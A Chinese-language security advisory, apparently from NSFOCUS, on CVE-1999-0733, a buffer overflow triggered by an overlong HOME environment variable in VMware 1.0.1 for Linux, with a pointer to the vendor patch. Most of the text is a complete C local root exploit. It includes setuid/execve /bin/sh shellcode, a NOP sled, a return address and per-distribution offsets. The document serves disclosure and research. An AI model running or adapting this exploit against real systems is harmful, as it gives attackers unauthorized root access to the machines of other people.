安全研究

安全漏洞
Linux VMWare HOME环境变量缓冲区溢出漏洞

发布日期:1999-06-25
更新日期:1999-06-25

受影响系统:
VMWare VMWare 1.0.1
不受影响系统:
VMWare VMWare 1.0.2
描述:
BUGTRAQ  ID: 490
CVE(CAN) ID: CVE-1999-0733

VMWare 是一个“虚拟PC”软件。它使你可以在一台机器上同时运行二个或更多Windows、DOS、LINUX 系统。

VMWare 1.0.1 for Linux在实现上存在安全漏洞,攻击者通过超长的HOME环境变量造成缓冲区溢出。

<*来源:Jason R. Rhoads (jason.rhoads@sabernet.net
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Jason R. Rhoads (jason.rhoads@sabernet.net)提供了如下测试方法:
/*
* VMware v1.0.1 root sploit
* funkySh 02/07/99
*
* 1. Redhat 5.2     2.2.9 offset 800-1100
* 2.                      offset 1600-2200
* 1. Slackware 3.6  2.2.9 offset 0
* 2.                      offset ?      
*
* [ 1 - started from xterm on localhost ]
* [ 2 - started from telnet, with valid display ]
*/


#include <stdio.h>

char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
              "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
              "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
              "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define BUFFER 1032
#define NOP 0x90
#define RET_ADDR 0xbfffdf50
#define PATH "/usr/local/bin/vmware"

char buf[BUFFER];

void main(int argc, char * argv[])
{
  int i, offset = 0;
  if(argc > 1) offset = atoi(argv[1]);

memset(buf,NOP,BUFFER);
memcpy(buf+800,code,strlen(code));
for(i=854+2;i<BUFFER-2;i+=4)
   *(int *)&buf[i]=RET_ADDR+offset;

  setenv("HOME", buf, 1);
  execl(PATH,"vmware","-display","127.0.0.1:0",0);
  /* change IP if required */
}

建议:
厂商补丁:

VMWare
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.vmware.com/security/

浏览次数:9702
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障